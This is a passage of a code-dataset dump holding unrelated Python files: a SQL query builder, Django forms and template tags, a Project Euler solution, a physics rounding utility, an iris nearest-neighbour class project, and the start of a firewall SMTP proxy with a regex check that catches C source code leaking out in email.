None:\n columns_ = [column for column in self._columns.values()]\n elif isinstance(columns, list):\n columns_ = [self._columns[column] for column in columns]\n else:\n columns_ = [self._columns[columns]]\n\n join_string = \"INNER JOIN {table} ON {table}.{index} \" \\\n \"== {master}.{master_index}\"\n\n column_list = []\n table_list = []\n for column in columns_:\n if isinstance(column.column_name, str):\n column_list.append(\".\".join((column.table_name,\n column.column_name)))\n table_list.append((column.table_name, column.sql_index))\n else:\n column_list.extend(\n \".\".join((table_, column_))\n for table_, column_ in zip(column.table_name,\n column.column_name))\n table_list.extend((table_, index_)\n for table_, index_ in zip(column.table_name,\n column.sql_index))\n\n columns = \", \".join(column_list)\n\n first_column = columns_[0]\n if isinstance(first_column.table_name, list):\n table = first_column.table_name[0]\n master_index = first_column.sql_index[0]\n else:\n table = first_column.table_name\n master_index = first_column.sql_index\n\n joins_set = set(join_string.format(table=table_,\n index=index_,\n master=table,\n master_index=master_index)\n for table_, index_ in table_list\n if not table_ == table)\n if len(joins_set) > 0:\n joins = \" \" + \"\".join(joins_set)\n else:\n joins = \"\"\n\n indices = \"\"\n limit_and_offset = \"\"\n if index is not None and self._index is not None:\n inner_query = \\\n \"SELECT {index_index} FROM {index_table}{where_clause}\"\n\n if isinstance(index, slice):\n slice_parts = []\n if index.start is not None:\n slice_parts.append(\n \"{index_column}>={slice_start}\".format(\n index_column=self._index.column_name,\n slice_start=sql_friendly(index.start)))\n if index.stop is not None:\n slice_parts.append(\"{index_column}<={slice_stop}\".format(\n index_column=self._index.column_name,\n slice_stop=sql_friendly(index.stop)))\n if index.step is not None:\n raise NotImplementedError(\"Slices with steps are not yet \"\n \"supported\")\n if len(slice_parts) > 0:\n where_clause = \" WHERE \" + \" AND \".join(slice_parts)\n else:\n where_clause = \"\"\n\n elif isinstance(index, list):\n where_clause = \\\n \" WHERE {index_column} IN ({index_values})\".format(\n index_column=self._index.column_name,\n index_values=\", \".join(sql_friendly(value)\n for value in index))\n\n else:\n where_clause = \" WHERE {index_column}={index_value}\".format(\n index_column=self._index.column_name,\n index_value=sql_friendly(index))\n\n indices = \" WHERE {index} IN ({inner_query})\".format(\n index=\".\".join([first_column.table_name,\n first_column.sql_index]),\n inner_query=inner_query.format(\n index_index=self._index.sql_index,\n index_table=self._index.table_name,\n where_clause=where_clause))\n\n elif index is not None or int_index is not None:\n\n if index is None:\n index = int_index\n elif isinstance(index, slice):\n if index.stop is not None:\n # mimic pandas by including the stop\n index = slice(index.start, index.stop + 1, index.step)\n if isinstance(index, slice):\n if index.start is None and index.stop is None:\n pass\n elif index.stop is None:\n limit_and_offset = \\\n \" LIMIT -1 OFFSET {}\".format(index.start)\n elif index.start is None:\n limit_and_offset = \" LIMIT {}\".format(index.stop)\n else:\n limit_and_offset = \" LIMIT {limit} OFFSET {offset}\".format(\n limit=index.stop - index.start, offset=index.start)\n elif isinstance(index, list):\n indices = \" WHERE {table}.ROWID IN ({index_values})\".format(\n table=first_column.table_name,\n index_values=\", \".join(str(value + 1) for value in index))\n else:\n limit_and_offset = \" LIMIT 1 OFFSET {}\".format(index)\n\n else:\n pass\n\n query_template = \\\n \"SELECT {columns} FROM {table}{joins}{indices}{limit_and_offset}\"\n return query_template.format(**locals())\n","sub_path":"epysteme/sets/sql.py","file_name":"sql.py","file_ext":"py","file_size_in_byte":19387,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"16827951","text":"from django import forms\nfrom .models import Product, Category\nfrom .widgets import myClearableFileInput\n\n\nclass ProductAdminForm(forms.ModelForm):\n\n class Meta:\n model = Product\n fields = '__all__'\n\n image = forms.ImageField(\n label='Image', required=False, widget=myClearableFileInput)\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n all_categories = Category.objects.all()\n shop_names = [(category.id, category.get_shop_name()) for category in all_categories]\n\n self.fields['category'].choices = shop_names\n for field_name, field in self.fields.items():\n field.widget.attrs['class'] = 'border border-dark'\n","sub_path":"products/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":712,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"440165773","text":"from django import template\nfrom django.utils.dateparse import parse_datetime\nfrom datetime import datetime\nimport json\nimport math\n\nregister = template.Library()\n\n@register.filter\ndef string_to_list(value):\n\treturn value.split(',')\n\n@register.filter\ndef to_string(value):\n\treturn str(value)\n\n@register.filter\ndef json_dumps(value):\n\treturn json.dumps(value)\n\n@register.filter\ndef streamable_com_embed(value):\n\treturn \"https://\" + value.split(\"//\")[1].replace(\"/\",\"/s/\")\n\n@register.filter\ndef giphy_com_embed(value):\n\treturn value.replace(\"/giphy.gif\",\"\").replace(\"media.giphy.com\",\"giphy.com\").replace(\"media\",\"embed\")\n\n@register.simple_tag\ndef cut_string(value,start,end):\n\treturn value[start:end]\n\n@register.simple_tag\ndef sort_dics_val_za(value):\n\treturn dict(sorted(value.items(), key=lambda kv: kv[1], reverse=True))\n\n@register.simple_tag\ndef phan_trang_gon(page_obj,cur_page,num_limit):\n\tlen_obj = len(page_obj)\n\ta = 0\n\tb = 0\n\tif math.ceil(num_limit/2)>cur_page:\n\t\tb = math.ceil(num_limit/2) - cur_page\n\tif (round(num_limit/2) + cur_page)>len_obj:\n\t\ta = (round(num_limit/2) + cur_page) - len_obj\n\tif (math.ceil(num_limit/2)+a)>cur_page:\n\t\ta = 0\n\telse:\n\t\ta = cur_page - (math.ceil(num_limit/2) + a)\n\tif (round(num_limit/2) + cur_page + b)>len_obj:\n\t\tb = len_obj\n\telse:\n\t\tb = cur_page + round(num_limit/2) + b\n\treturn page_obj[a:b]\n\n@register.simple_tag\ndef chia_het(value1,value2):\n\tif value1%value2 == 0:\n\t\treturn True\n\telse:\n\t\treturn False\n\n@register.simple_tag\ndef date_diff(value1,value2):\n\tif 'today' in [value1,value2]:\n\t\tfor x in [value1,value2]:\n\t\t\tif x != 'today':\n\t\t\t\tvalue = x\n\t\td1 = datetime.strptime(parse_datetime(value).strftime('%Y-%m-%d %H:%M:%S'),'%Y-%m-%d %H:%M:%S')\n\t\ttoday = datetime.now()\n\t\td = abs(d1-today)\n\t\tif d.days == 0:\n\t\t\treturn str(d.seconds//3600)+' giờ : '+str(d.seconds%3600//60)+' phút'\n\t\telse:\n\t\t\treturn str(d.days)+' ngày '+str(d.seconds//3600)+' giờ : '+str(d.seconds%3600//60)+' phút'\n\n@register.simple_tag\ndef date_compare(value1,value2):\n\tif 'today' in [value1,value2]:\n\t\tfor x in [value1,value2]:\n\t\t\tif x != 'today':\n\t\t\t\tvalue = x\n\t\td1 = datetime.strptime(parse_datetime(value).strftime('%Y-%m-%d %H:%M:%S'),'%Y-%m-%d %H:%M:%S')\n\t\ttoday = datetime.now()\n\t\tif d1 > today:\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\telse:\n\t\td1 = datetime.strptime(parse_datetime(value1).strftime('%Y-%m-%d %H:%M:%S'),'%Y-%m-%d %H:%M:%S')\n\t\td2 = datetime.strptime(parse_datetime(value2).strftime('%Y-%m-%d %H:%M:%S'),'%Y-%m-%d %H:%M:%S')\n\t\tif d1 > d2:\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\n@register.simple_tag\ndef percentage(value1,value2):\n\treturn str(round((value1/value2)*100))+'%'\n\n@register.simple_tag\ndef cems_regngay(max_register,total,start_at):\n\td1 = datetime.strptime(parse_datetime(start_at).strftime('%Y-%m-%d %H:%M:%S'),'%Y-%m-%d %H:%M:%S')\n\ttoday = datetime.now()\n\td = abs(d1-today)\n\tif d.days == 0:\n\t\treturn abs(max_register - total)\n\telse:\n\t\treturn round(abs(max_register - total)/int(d.days))","sub_path":"custom/templatetags/custom.py","file_name":"custom.py","file_ext":"py","file_size_in_byte":2944,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"424282540","text":"#!/usr/bin/python3\n# Starting with the number 1 and moving to the right in a clockwise direction a 5 by 5 spiral is formed as follows:\n\n# 21 22 23 24 25\n# 20 7 8 9 10\n# 19 6 1 2 11\n# 18 5 4 3 12\n# 17 16 15 14 13\n\n# It can be verified that the sum of the numbers on the diagonals is 101.\n# sum([21, 7, 1, 3, 13, 25, 9, 5, 17]) == 101\n\n# What is the sum of the numbers on the diagonals in a 1001 by 1001 spiral formed in the same way?\n\n# spirala zrobiona jest z koncentrycznych pierścieni numerwanych od 0\n# lp(n) -- ilość liczb w pierścienu\n# lp(0) = 1\n# lp(n) = 8n\n# o(n) -- ostatnia liczba w pierścieniu n (n >= 0)\n# o(0) = 1\n# o(n) = o(n - 1) + lp(n) = 1 + 8 * nchoosek(n + 1, n - 1) = 1 + 4*n*(n + 1)\n\ndef last_number_in_ring(ring_number):\n if ring_number == 0:\n return 1\n return 1 + 4*ring_number*(ring_number+1)\n\ndef sum_of_ring_corners(ring_number):\n if ring_number == 0:\n return 1\n \n last = last_number_in_ring(ring_number) \n ring_width = 2*ring_number + 1\n \n return 4*last - 6*ring_width + 6\n\nwidth = 1001\nring_count = (width - 1) // 2 + 1\n\ns = 0\nfor ring_number in range(ring_count):\n s += sum_of_ring_corners(ring_number)\n \nprint(s)\n\n\n","sub_path":"problem28.py","file_name":"problem28.py","file_ext":"py","file_size_in_byte":1210,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"523299066","text":"\nimport math\nfrom bg_est import BGEst\n\n## round number to N digits -- helpful for printing\ndef round_to_digits(value, ndigits):\n if (value == 0.): ## otherwise it will return 'nan' due to the log10() of zero\n return value\n factor = math.pow(10.0, ndigits - math.ceil(math.log10(math.fabs(value))))\n return round(value * factor) / factor \n\n\n## returns a string of a BG prediction with the rounding and significant figures\ndef GetPred(bg_est, bin_number): # note: this is the root bin number -- index starts from 1!\n cv = bg_est.hCV.GetBinContent(bin_number)\n p_statup = round_to_digits(bg_est.hStatUp.GetBinContent(bin_number), 2)\n p_statdown = round_to_digits(bg_est.hStatDown.GetBinContent(bin_number), 2)\n p_systup = round_to_digits(bg_est.hSystUp.GetBinContent(bin_number), 2)\n p_systdown = round_to_digits(bg_est.hSystDown.GetBinContent(bin_number), 2)\n \n ## all uncertainties and CV must match the precision of the least precise uncertainty/CV\n if cv == 0. and p_statup == 0.: ## special case: all are 0 to 2-decimal precision, can't take logs\n return (\"$0.00^{+0.00+0.00}_{-0.00-0.00}$\")\n \n ndig = math.floor(math.log10(p_statup)) # now this one should never be 0\n if p_systup>0. and math.floor(math.log10(p_systup))>ndig:\n ndig = math.floor(math.log10(p_systup))\n if p_statdown>0. and math.floor(math.log10(p_statdown))>ndig:\n ndig = math.floor(math.log10(p_statdown))\n if p_systdown>0. and math.floor(math.log10(p_systdown))>ndig:\n ndig = math.floor(math.log10(p_systdown))\n\n # print the CV and uncertainties to a consistent number of significant figures\n if ndig>0: ## at least one uncertainty is > 10, print no decimals anywhere\n return (\"$%2.0f^{+%2.0f+%2.0f}_{-%2.0f-%2.0f}$\" % (cv, p_statup, p_systup, p_statdown, p_systdown))\n elif ndig==0: ## largest is 1.0-9.9, print 1 decimal point\n return(\"$%3.1f^{+%3.1f+%3.1f}_{-%3.1f-%3.1f}$\" % (cv, p_statup, p_systup, p_statdown, p_systdown))\n else: ## largest is < 1, can print to 2 decimal points\n return(\"$%3.2f^{+%3.2f+%3.2f}_{-%3.2f-%3.2f}$\" % (cv, p_statup, p_systup, p_statdown, p_systdown))\n \n \n","sub_path":"scripts/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2180,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"157727821","text":"# Mei Shin Lee \n# CS-UY 1114\n# April 24, 2019\n# Final project\n\nimport math\nimport turtle\n\ndef create_table(file_name):\n \"\"\"\n sig: str -> tuple(list(float), list(float), list(str))\n Given a file name, read the file into a tuple containing\n two lists of type float and one list of type string.\n The features of the dataset should be of type float\n and the label should be of type string. \n \"\"\"\n petalLength = []\n petalWidth = []\n flowerSpecies = []\n table = (petalLength,petalWidth,flowerSpecies)\n fileData = open(file_name,\"r\")\n dataList = fileData.readlines() \n for row in dataList:\n newElement = row.strip().split(\",\")\n petalLength += [float(newElement[0])]\n petalWidth += [float(newElement[1])]\n flowerSpecies += [newElement[2].strip(\"\\n\")]\n fileData.close()\n return table\n\ndef print_range_max_min(data):\n \"\"\"\n sig: tuple(list(float), list(float)) -> NoneType\n Print the max, min and range of both features in the dataset.\n \"\"\"\n maxPetalLength, minPetalLength = max(data[0]), min(data[0])\n rangePetalLength = float(maxPetalLength) - float(minPetalLength)\n maxPetalWidth, minPetalWidth=max(data[1]), min(data[1])\n rangePetalWidth = float(maxPetalWidth)-float(minPetalLength)\n print(\"Petal Length - min: \" + str(minPetalLength) + \" max: \"+str(maxPetalLength) + \" range: \" + str(rangePetalLength))\n print(\"Petal Width - min: \" + str(minPetalWidth) + \" max: \" + str(maxPetalWidth)+\" range: \" + str(rangePetalWidth))\n\ndef find_mean(feature):\n \"\"\"\n sig: list(float) -> float\n Return the mean of the feature.\n \"\"\"\n sumFeature = 0\n for i in range(len(feature)):\n sumFeature += feature[i]\n return sumFeature / len(feature) \n\ndef find_std_dev(feature, mean):\n \"\"\"\n sig: list(float), float -> float\n Return the standard deviation of the feature. \n \"\"\"\n sumDeviation=0\n for i in range(len(feature)):\n sumDeviation += (feature[i] - mean) ** 2\n standardDev = math.sqrt(sumDeviation / len(feature))\n return standardDev\n\ndef normalize_data(data):\n \"\"\"\n sig: tuple(list(float), list(float), list(str)) -> NoneType\n Print the mean and standard deviation for each feature.\n Normalize the features in the dataset by\n rescaling all the values in a particular feature\n in terms of a mean of 0 and a standard deviation of 1.\n Print the mean and the standard deviation for each feature, now normalized.\n After normalization, each of your features should display a mean of 0\n or very close to 0 and a standard deviation of 1 or very close to 1. \n \"\"\"\n normDataSet = []\n normPetalLengths = []\n normPetalWidths = []\n for i in range(len(data[0])):\n normalize = (data[0][i] - find_mean(data[0])) / find_std_dev(data[0], find_mean(data[0]))\n normPetalLengths.append(normalize)\n normDataSet.append(normPetalLengths)\n for i in range(len(data[1])):\n normalize = (data[1][i] - find_mean(data[1])) / find_std_dev(data[1], find_mean(data[1]))\n normPetalWidths.append(normalize)\n normDataSet.append(normPetalWidths)\n\n print(\"Petal Length - mean: \" + str(find_mean(data[0])) + \" std dev: \" + str(find_std_dev(data[0], find_mean(data[0]))))\n print(\"Petal Width - mean: \" + str(find_mean(data[1])) + \" std dev: \" + str(find_std_dev(data[1], find_mean(data[1]))))\n data = normDataSet\n print(\"Petal Length after normalization - mean: \" + str(find_mean(data[0])) + \" std dev: \" + str(find_std_dev(data[0], find_mean(data[0]))))\n print(\"Petal Width after normalization - mean: \" + str(find_mean(data[1])) + \" std dev: \" + str(find_std_dev(data[1], find_mean(data[1])))) \n\ndef make_predictions(train_set, test_set):\n \"\"\"\n sig: tuple(list(float), list(float), list(str)), tuple(list(float), list(float), list(str)) -> list(str)\n For each observation in the test set, you'll need to check all of\n the observations in the training set to see which is the `nearest neighbor.'\n The function should make a call to the function find_dist.\n Accumulate a list of predicted iris types for each of the test set\n observations. Return this prediction list.\n \"\"\"\n predictionList = []\n prediction = \"\"\n initialNormTrainLen = (train_set[0][0] - find_mean(train_set[0])) / find_std_dev(train_set[0], find_mean(train_set[0]))\n initialNormTrainWid = (train_set[0][1] - find_mean(train_set[1])) / find_std_dev(train_set[1], find_mean(train_set[1]))\n initialNormTestLen = (test_set[0][0] - find_mean(test_set[0])) / find_std_dev(test_set[0], find_mean(test_set[0]))\n initialNormTestWid = (test_set[0][1] - find_mean(test_set[1])) / find_std_dev(test_set[1], find_mean(test_set[1]))\n closestDist = find_dist(initialNormTrainLen, initialNormTrainWid, initialNormTestLen, initialNormTestWid)\n for i in range(len(test_set[1])):\n for j in range(len(train_set[0])):\n normTestLen = (test_set[0][i] - find_mean(test_set[0])) / find_std_dev(test_set[0], find_mean(test_set[0]))\n normTestWid = (test_set[1][i] - find_mean(test_set[1])) / find_std_dev(test_set[1], find_mean(test_set[1]))\n normTrainLen = (train_set[0][j] - find_mean(train_set[0])) / find_std_dev(train_set[0], find_mean(train_set[0]))\n normTrainWid = (train_set[1][j] - find_mean(train_set[1])) / find_std_dev(train_set[1], find_mean(train_set[1]))\n if find_dist(normTestLen, normTestWid, normTrainLen, normTrainWid) < closestDist:\n closestDist = find_dist(normTestLen, normTestWid, normTrainLen, normTrainWid)\n prediction = train_set[2][j]\n closestDist = find_dist(initialNormTrainLen, initialNormTrainWid, initialNormTestLen, initialNormTestWid)\n predictionList.append(prediction)\n return predictionList\n\ndef find_dist(x1, y1, x2, y2):\n \"\"\"\n sig: float, float, float, float -> float\n Return the Euclidean distance between two points (x1, y1), (x2, y2).\n \"\"\"\n squareX = (x2 - x1) ** 2\n squareY = (y2 - y1) ** 2\n distance = math.sqrt(squareX + squareY)\n return distance\n \ndef find_error(test_data, pred_lst):\n \"\"\"\n sig: tuple(list(float), list(float), list(str)) -> float\n Check the prediction list against the actual labels for\n the test set to determine how many errors were made.\n Return a percentage of how many observations in the\n test set were predicted incorrectly. \n \"\"\"\n errorCounter = 0\n for i in range(len(test_data[2])):\n if test_data[2][i] != pred_lst[i]:\n errorCounter += 1\n error = errorCounter / len(test_data[2])\n return error * 100\n\ndef draw_square(x,y,fill_color):\n '''\n sig: float,float,str -> NoneType\n Goes to coordinate (x,y) and draws a square at that point of a specified color (fill_color).\n '''\n turtle.penup()\n turtle.goto(x, y)\n turtle.fillcolor(fill_color)\n turtle.begin_fill()\n for i in range(4):\n turtle.forward(7.75)\n turtle.right(90)\n turtle.end_fill()\n\ndef draw_axis(x, y, angle):\n '''\n sig: int,int,int-> NoneType\n Goes to coordinate (x,y). Makes a right turn of (angle) degrees. Draws a line of length 500. \n '''\n turtle.penup()\n turtle.goto(x, y)\n turtle.pendown()\n turtle.right(angle)\n turtle.forward(500)\n turtle.penup()\n \ndef plot_data(train_data, test_data, pred_lst):\n \"\"\"\n sig: tuple(list(float), list(float), list(str)), tuple(list(float), list(float), list(str)), list(str)\n -> NoneType\n Plot the results using the turtle module. Set the turtle window size to 500 x 500.\n Draw the x and y axes in the window. Label the axes \"petal width\" and \"petal length\". \n Plot each observation from your training set on the plane, using a circle shape\n and a different color for each type of iris. Use the value of the first feature\n for the x-coordinate and the value of the second feature for the y-coordinate.\n Use a dot size of 10. Recall that the features have been normalized to have a mean\n of 0 and a standard deviation of 1. You will need to `stretch' your features across\n the axes to make the best use of the 500 x 500 window. Ensure that none of your\n points are plotted off screen. Also plot each correct prediction from your test\n set in the corresponding color. Use a square to indicate that the value is a prediction.\n Plot the incorrect predictions that were made for the test set in red, also using a\n square to indicate that it was a prediction. Include a key in the upper left\n corner of the plot as shown in the sample plot. The function will make a call\n to the function draw_key in order to accomplish this task. \n \"\"\"\n turtle.setworldcoordinates(-250, -250, 250, 250)\n turtle.screensize(500, 500)\n turtle.tracer(0, 0)\n turtle.hideturtle()\n draw_axis(-250, 0, 0)\n turtle.goto(175, 0)\n turtle.write(\"Petal Length\", font = (\"Times New Roman\", 12))\n draw_axis(0,250,90)\n turtle.goto(5,-250)\n turtle.write(\"Petal Width\", font = (\"Times New Roman\", 12))\n \n for i in range(len(train_data[0])):\n turtle.hideturtle()\n turtle.penup()\n x = (train_data[0][i] - find_mean(train_data[0])) / find_std_dev(train_data[0], find_mean(train_data[0])) * 100\n y = (train_data[1][i] - find_mean(train_data[1])) / find_std_dev(train_data[1], find_mean(train_data[1])) * 100\n turtle.goto(x, y)\n if train_data[2][i] == \"Iris-setosa\":\n turtle.dot(10, \"blue\")\n elif train_data[2][i] == \"Iris-versicolor\":\n turtle.dot(10, \"green\")\n else:\n turtle.dot(10, \"orange\")\n \n for i in range(len(pred_lst)):\n turtle.hideturtle()\n turtle.penup()#pick up pen so no line\n x = (test_data[0][i] - find_mean(test_data[0])) / find_std_dev(test_data[0], find_mean(test_data[0])) * 100\n y = (test_data[1][i] - find_mean(test_data[1])) / find_std_dev(test_data[1], find_mean(test_data[1])) * 100\n if test_data[2][i] != pred_lst[i]:\n turtle.color(\"red\")\n draw_square(x, y, \"red\")\n elif test_data[2][i] == \"Iris-setosa\":\n turtle.color(\"blue\")\n draw_square(x, y, \"blue\")\n elif test_data[2][i] == \"Iris-versicolor\":\n turtle.color(\"green\")\n draw_square(x, y, \"green\")\n else:\n turtle.color(\"orange\")\n draw_square(x, y, \"orange\")\n \n draw_key()\n\ndef draw_key():\n \"\"\"\n sig: () -> NoneType\n Draw the legend for the plot indicating which group is shown by each color/shape combination. \n \"\"\"\n turtle.penup()\n \n turtle.goto(-225, 225)\n turtle.dot(10, \"blue\")\n turtle.goto(-210, 217)\n turtle.color(\"black\")\n turtle.write(\"Iris-setosa\", font = (\"Times New Roman\", 10))\n\n turtle.goto(-225, 210)\n turtle.dot(10, \"green\")\n turtle.goto(-210, 202)\n turtle.color(\"black\")\n turtle.write(\"Iris-versicolor\", font = (\"Times New Roman\", 10))\n \n turtle.goto(-225, 195)\n turtle.dot(10, \"orange\")\n turtle.goto(-210, 187)\n turtle.color(\"black\")\n turtle.write(\"Iris-virginica\", font = (\"Times New Roman\", 10))\n\n turtle.color(\"blue\")\n draw_square(-221, 183, \"blue\")\n turtle.goto(-210, 172)\n turtle.color(\"black\")\n turtle.write(\"Predicted Iris-setosa\", font = (\"Times New Roman\", 10))\n \n turtle.color(\"green\")\n draw_square(-221, 168, \"green\")\n turtle.goto(-210, 157)\n turtle.color(\"black\")\n turtle.write(\"Predicted Iris-versicolor\", font = (\"Times New Roman\", 10))\n\n turtle.color(\"orange\")\n draw_square(-221, 153, \"orange\")\n turtle.goto(-210, 142)\n turtle.color(\"black\")\n turtle.write(\"Predicted Iris-virginica\", font = (\"Times New Roman\", 10))\n\n turtle.color(\"red\")\n draw_square(-221, 138, \"red\")\n turtle.goto(-210, 127)\n turtle.color(\"black\")\n turtle.write(\"Predicted Incorrectly\", font = (\"Times New Roman\", 10))\n \ndef main():\n train_data = create_table(\"iris_train.csv\")\n print_range_max_min(train_data[:2])\n print()\n normalize_data(train_data)\n test_data = create_table(\"iris_test.csv\")\n print()\n normalize_data(test_data)\n pred_lst = make_predictions(train_data, test_data)\n error = find_error(test_data, pred_lst)\n print()\n print(\"The error percentage is: \", error)\n plot_data(train_data, test_data, pred_lst)\n\nmain()\n\n","sub_path":"msl608_FinalProject.py","file_name":"msl608_FinalProject.py","file_ext":"py","file_size_in_byte":12405,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"533319947","text":"import socket\nimport struct\nimport time\nimport threading\nimport select\nimport re\n\nclass_name = 'fw'\nmanip_device_name = 'manipulations'\nmanip_attr_name = 'manipulations'\n\nmanip_inst_size = 14\nsmtp_manipulation_port = 250\nNO_MANIPULATION_PORT = 0\nMANIPULATION_CMD_INST = 0\nMANIPULATION_CMD_FTP_DATA =1\n\n# Helper method to turn an integer into an IPv4 address strings and vice versa\n# Taken from: https://stackoverflow.com/questions/5619685/conversion-from-ip-string-to-integer-and-backward-in-python\ndef ip2int(addr):\n\treturn struct.unpack(\"!I\", socket.inet_aton(addr))[0]\ndef int2ip(addr):\n\treturn socket.inet_ntoa(struct.pack(\"!I\", addr))\n\n# Read from the kernel's device which indicated the next\n# awaiting connections info (IPs, Ports)\ndef get_awaiting_connection():\n\tmanip_dev = open('/sys/class/{0}/{1}/{2}'.format(class_name,manip_device_name,manip_attr_name),'r')\n\n\tinst_raw = manip_dev.read(manip_inst_size)\n\tclient_ip,server_ip,client_port,server_port,_ = struct.unpack('!IIHHH',inst_raw)\n\tclient_ip = int2ip(client_ip)\n\tserver_ip = int2ip(server_ip)\n\n\tmanip_dev.close()\n\n\treturn {'client':{'ip':client_ip,'port':client_port},'server':{'ip':server_ip,'port':server_port}}\n\n# Inform the kernel module of the 5-tuple of a manipulated connection\ndef send_kernel_manipulation_command(cmd_type,manip_port,client_ip,client_port,server_ip,server_port):\n\t# Creating magic number header\n\tbuf = b'\\x56\\x78'\n\t# Appending IPs, Ports\n\tbuf += struct.pack('!BIIHHH',cmd_type,client_ip,server_ip,client_port,server_port,manip_port)\n\t\n\tmanip_dev = open('/sys/class/{0}/{1}/{2}'.format(class_name,manip_device_name,manip_attr_name),'w')\n\tmanip_dev.write(buf)\n\tmanip_dev.close()\n\nstart_of_line_regex_fmt = \"^\\s{0,50}\"\nregex_or = \")|(?:\"\nfinal_regex_string = \t(start_of_line_regex_fmt +\n\t\t\t\"(?:(?:\" +\n\t\t\tr\"[a-zA-Z_][\\w]{0,50}\\s{0,50}[-+*&|^\\\\]?=\" +\t\t\t\t\t\t\t\t# Variable assignments\n\t\t\tregex_or +\n\t\t\tr\"[a-zA-Z_][\\w]{0,50}(?:->|\\.)[a-zA-Z_][\\w]{0,50}\\s{0,10}[-+*&|^\\\\]?=\" +\t# Fields assignments (accessed with -> or dot)\n\t\t\tregex_or +\n\t\t\tr\"[a-zA-Z_][\\w]{0,50}\\[[\\w]{0,50}\\]\\s{0,10}[-+*&|^\\\\]?=\" +\t\t\t\t\t# Array assignments (accessed with [])\n\t\t\tregex_or +\n\t\t\tr\"[a-zA-Z_][\\w]{0,50}\\s?\\(\" +\t\t\t\t\t\t\t\t\t\t\t\t# Function calls\n\t\t\tregex_or +\n\t\t\tr\"(?:static\\s{1,10})?(?:const\\s{1,10})?(?:(?:struct|enum)\\s{1,10})?[a-zA-Z_][\\w]{0,50}\" +\n\t\t\tr\"(?:\\s{1,10}\\*{0,3}|\\s{0,10}\\*{0,3}\\s|\\s)\\s{0,10}(?:const\\s{0,10})?[a-zA-Z_][\\w]{0,50}\\s{0,10}[;=]\" +\t\t# Var declerations\n\t\t\tregex_or +\n\t\t\tr\"(?:static\\s)?[a-zA-Z_][\\w]{0,50}\\s{1,10}[a-zA-Z_][\\w]{0,50}\\((?:\\)|\\s{0,10}[a-zA-Z0-9])\" +\t\t\t\t# Function declerations\n\t\t\tregex_or +\n\t\t\tr\"[\\{\\}]\\s{0,10}$\" +\t\t\t\t\t\t\t\t\t\t\t\t\t\t# Lines with a single (open or close) bracket\n\t\t\tregex_or +\n\t\t\tr\"(?:/\\*|\\*/)\" +\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# Long comments starts and ends\n\t\t\tregex_or +\n\t\t\tr\"(?:break|continue|(?:return\\s{0,10}[\\w]{0,50}))\\s?[;(\\[]\" +\t\t\t\t# Control flow key words\n\t\t\tregex_or +\n\t\t\tr\"(?:if|while|for|switch)\\s?\\(\" +\t\t\t\t\t\t\t\t\t\t\t# Scope starters - if, while, for, switch\n\t\t\tregex_or +\n\t\t\tr\"case\\s[\\w]{0,50}:\" +\t\t\t\t\t\t\t\t\t\t\t\t\t\t# Case line\n\t\t\tregex_or +\n\t\t\tr\"do\\s{0,10}{\\s{0,10}$\" +\t\t\t\t\t\t\t\t\t\t\t\t\t# do loop keyword\n\t\t\tregex_or +\n\t\t\tr\"typedef\\s{1,3}(?:struct\\s{1,3})?[a-zA-Z_][\\w]{0,50}\" +\t\t\t\t\t# Typedef\n\t\t\tregex_or +\n\t\t\tr\"enum\\s{0,3}[a-zA-Z_][\\w]{0,50}\" +\t\t\t\t\t\t\t\t\t\t\t# Enum definitions\n\t\t\t\"))\")\nforbidden_pattern = re.compile(final_regex_string, flags = re.MULTILINE)\n\n# Checks for data leakage (C Code)\n# Returns: 'True' if data is forbidden, 'False' otherwise\ndef run_dlp_analysis(data):\n\tcount = 0\n\tfor match in forbidden_pattern.finditer(data):\n\t\tcount += 1\n\t\tif count > 5:\n\t\t\tbreak\n\treturn count >= 5\n\nclass Single_user_handler(threading.Thread):\n\tdef __init__(self,client,manipulation_inst):\n\t\tsuper(Single_user_handler,self).__init__()\n\t\tself.client = client\n\t\tself.inst = manipulation_inst\n\t\t# Prepare socket for the server connection\n\t\tself.server = socket.socket()\n\t\tself.server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,1)\n\t\t# Binding socket before connection to server.\n\t\t# We do this to get the expected SOURCE PORT because the first (SYN) packet\n\t\t# we inform the kernel so it doesn't drop our connection\n\t\tself.server.bind(('0.0.0.0',0))\n\t\tmanip_port = self.server.getsockname()[1]\n\t\t\n\t\t# Write instructions to kernel\t\n\t\tself.client_info = manipulation_inst['client']\n\t\tself.server_info = manipulation_inst['server']\n\t\tclient_ip = self.client_info['ip']\n\t\tclient_port = self.client_info['port']\n\t\tserver_ip = self.server_info['ip']\n\t\tserver_port = self.server_info['port']\n\t\tclient_ip = ip2int(client_ip)\n\t\tserver_ip = ip2int(server_ip)\n\t\tsend_kernel_manipulation_command(MANIPULATION_CMD_INST,manip_port,\n\t\t\t\t\t\t\t\t\t\tclient_ip,client_port,\n\t\t\t\t\t\t\t\t\t\tserver_ip,server_port)\n\n\t\t# Actually connect to the server, might throw exceptions if refused/timedout\n\t\tself.server.connect((self.server_info['ip'],server_port))\n\t\n\tdef run(self):\n\t\tclient_buf = b''\n\t\tclient_mail_body_buf = b''\n\t\t# using a flag to tell if we are collecting client's data part\n\t\treading_mail_body = False\n\t\twhile(1):\n\t\t\t# check both sockets for info, whichever is available is processed\n\t\t\tready = select.select([self.client,self.server], [], [], 100)\n\t\t\tif self.client in ready[0]:\n\t\t\t\t# Check if client is ready\n\t\t\t\tprint('Client is Ready ->> Reading!')\n\t\t\t\ttemp = self.client.recv(256)\n\t\t\t\tif (temp == b''):\n\t\t\t\t\tprint('Client disconnected!')\n\t\t\t\t\tbreak\n\t\t\t\t\t\n\t\t\t\tif reading_mail_body :\n\t\t\t\t\t# Aggregating user mail 